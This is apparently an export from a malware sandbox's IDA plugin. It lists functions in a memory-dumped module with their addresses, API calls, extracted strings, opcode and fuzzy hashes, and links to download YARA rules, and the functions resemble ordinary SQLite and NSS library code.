String ID: 0sl$Psl$psl$winUnlock$winUnlockReadLock
API String ID: 0-2399121490
Opcode ID: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction ID: 8fd2b052485038a835556eb50a6e98c367ded4305cf0590b331fd5a81b75dd8f
Opcode Fuzzy Hash: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction Fuzzy Hash: A57181706083449FDB14CF28D894AABBBF5FF89314F24C629F95997211E730A985CBD1

Function 6C6DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction ID: 921d543df01ed27a5e43d52de779543fa744a7d5815976b177d22342a9d16ac6
Opcode Fuzzy Hash: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction Fuzzy Hash: C5F1C071F0522A8FDB05CF28C9447A977F0AB8B308F264239C915DB754E774A941CBE4

Function 6C6CDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C5A5001,?), ref: 6C6CE2DA

Strings

W, xrefs: 6C6CE111

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction ID: 54e9c5361df7f957d0716a51ce7db330f1f5067db7cdd0a63ab84d98575255de
Opcode Fuzzy Hash: e54de153d90432758fc72b34c3f6b4148bf6381fd9f0c098a7730dd28148195f
Instruction Fuzzy Hash: 16C14931B092558BDB04CF25C4827EA77B2FF86308F284179DDA89BB41D731A811CBDA

Function 6C690E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C691052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C691086

Strings

h(il, xrefs: 6C690E55, 6C690EC4, 6C690F3A, 6C690FA7
h(il, xrefs: 6C691062, 6C69105D, 6C690F37, 6C691081, 6C691082

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(il$h(il
API String ID: 1297977491-1183790091
Opcode ID: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction ID: d87d084c00b0e0a4ea07630a7ac639ed43069fe47f030fda25ec9574dcc30541
Opcode Fuzzy Hash: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction Fuzzy Hash: B0A15071B0125A9FCF08CF99C894AEEBBB6BF4D314B148129E905A7700D735ED41CBA4

Function 6C5B4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5B5125
Psl, xrefs: 6C5B5019, 6C5B50FA, 6C5B5157, 6C5B51DE, 6C5B51F2, 6C5B520D, 6C5B5220, 6C5B52A2, 6C5B52B5
psl, xrefs: 6C5B4E1C, 6C5B4E81, 6C5B4FDE, 6C5B5047, 6C5B50BB, 6C5B51A3, 6C5B526C
0sl, xrefs: 6C5B4EDE, 6C5B4F82

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlockReadLock
API String ID: 0-4239522636
Opcode ID: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction ID: a1ab417c0296d69fc3bee057fd04a608bed92f15d21ecede4bed3465f036fd18
Opcode Fuzzy Hash: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction Fuzzy Hash: 35E12F70A09344CFDB05DF28D89865ABBF0FF8A304F51866DF889A7351E7709985CB92

Function 6C5B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

*?[, xrefs: 6C5B7034, 6C5B7052, 6C5B7070
unordered*, xrefs: 6C5B702B
noskipscan*, xrefs: 6C5B7067
sz=[0-9]*, xrefs: 6C5B7049

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction ID: 02e8d403aa829ccf4884791145c41d281f48177d20f85f5a05698aea0539649c
Opcode Fuzzy Hash: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction Fuzzy Hash: 93718C32F002154BEB14CA6DCCA079A7FA29F85354F250279CD59BBFC1EA719C468BE1

Function 6C5D3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6C5D463F
sqlite_, xrefs: 6C5D3FAA, 6C5D4185
sqlite_temp_master, xrefs: 6C5D460F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction ID: fd27522e72f24e8f048aea3baf865ecbdfda39fdc1c8f1f6eb4fcfdd295af39a
Opcode Fuzzy Hash: 6620bd566b9b0b1e037f7de23298a1552d89c05dc57fe7b0cd447b2291bafbda
Instruction Fuzzy Hash: C5224B316493964FD704CB6D8CA05BA7BF29F46318B6A49A8C9E55FE42C721FC81C788

Function 6C70BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6C70C0B6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction ID: de1214600d7826d1c84d398d009a92c735f1286b0e18667d29d7f0a6086f52ad
Opcode Fuzzy Hash: 88635269ff8acf40a1a7de1c399bd7eea10cd07edaebbb2094f018dd9c7bbe2f
Instruction Fuzzy Hash: E1926CB4B0020A8FDB05DF98C980BAEB7F2BF89309F244168D515A7B91D735ED46CB61

Function 6C5A3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6C5A3EA9

Strings

0, xrefs: 6C5A3DAB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction ID: a58685f8e5428988f29ff34c2c48266977468c9e97b333454ef3290fc59c2d2d
Opcode Fuzzy Hash: 20dcd03445e0b867c89d3f3ac644b239b39e9fa7c35ab78bb387289937fe00c2
Instruction Fuzzy Hash: 14512931E491B98ADB1586FE8C603FFBBB19B8631CF194329C5A567AC1D234854B87A0

Function 6C64EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C64F0F9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 55df6bf4cec9d51c39c1d56be3e76a07cca87d5d70adfdce66244fdf42d3c552
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 0391AF75E0061A8BCB14CF68C8916AEB7F1FF85324F24872DD962A7BC0D730A905CB56

Function 6C672F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C697929), ref: 6C672FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C697929), ref: 6C672FE0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction ID: a47ff585565267fd682d4dd60f533aec5e021299a2d683d516cb212faad37d65
Opcode Fuzzy Hash: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction Fuzzy Hash: FA513471A059118FC730CE69C888BAA73B1FF46318F250A39D9099BB01C735EC42CBB9

Function 6C67ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C67EE3D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 2640aeff40cb19a075f5b2d351a2ff7679f145be525104ddec0defd77f1f3e49
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4871E472E01B018FD728CF59C8807AAB7F2BF98304F154A2DD85697B91D734E905CBA5

Function 6C5A5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6C5A6013

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction ID: bf239eadc9651b02deea55106e934545d776fa472f9e7b5bfbe4105d147ff53d
Opcode Fuzzy Hash: 23aa297cd88eb2f0c15c886811ac4c4ab78aa99583164b3f57707b54cb23c3f0
Instruction Fuzzy Hash: AAC1D8B1A047068BDB04CE9BCC90BAEBBB2AF49318F648559D955D7B41DB31E883C790

Function 6C735E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6C735B90: PR_Lock.NSS3(00010000,?,00000000,?,6C61DF9B), ref: 6C735B9E
Part of subcall function 6C735B90: PR_Unlock.NSS3 ref: 6C735BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6C735E23,6C61E154), ref: 6C735EBF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9203b7d56548aedb2c2919de8768cee7f34dab458069c615a0a67878bd797b09
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: DE519F72E0022A8FCB18CF59C9819AEF7B2FF88314B19457DD815B7746D734A941CBA0

Function 6C6EDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction ID: 75f61b5beb077ae7139ca8d9f1a115c87e9402f4fa09debbe965ffeb365fd3bb
Opcode Fuzzy Hash: b7fa724237de8207c0d5c2e73bc956fa03ec679179b84b719bf0a89855fc012d
Instruction Fuzzy Hash: D8F18D71A06205CFDB08CF19C494BAA77B2BF89318F29416AD8099F745DB31ED42CBE5

Function 6C681DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: b4c9c1b1d61309143254009db2066e4ca9693c533fe0ecb72b696f487e79019a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: FCD16B72D0A6568BDB118E18C8983DA7763AB85328F1D4329CD741B7C6C37B9906C7F4

Function 6C618EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction ID: 5d193d60cae71f027da8ad0ca9ae5b04221a55f1c776720f4358b36519538651
Opcode Fuzzy Hash: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction Fuzzy Hash: 8411E631A092158FD704CF29D88475AB365BF4635DF15427AD4058FE61C375D882C7C5

Function 6C6F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction ID: 26e266e97f3976d207bf4a368d869b4e51e1864b4bb119f0fd4f13e974109bdb
Opcode Fuzzy Hash: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction Fuzzy Hash: 40119179704345DFDB00DF19C8946AA77A6FF85368F248079D8298B701DB71E807CBA5

Function 6C663FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction ID: e83a419ecf549277920519b4ac884b9103f27882796c1627c2c794cb5a9251dc
Opcode Fuzzy Hash: 2737a9e5ff18144e629c16abc10daccbac75307f170df4a5ea99925506a21dfb
Instruction Fuzzy Hash: D8F05470A0475D9BCB10DF29C45159EB7F4EF49254F10952AEC899B301E730AAC4C7D5

Function 6C6F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
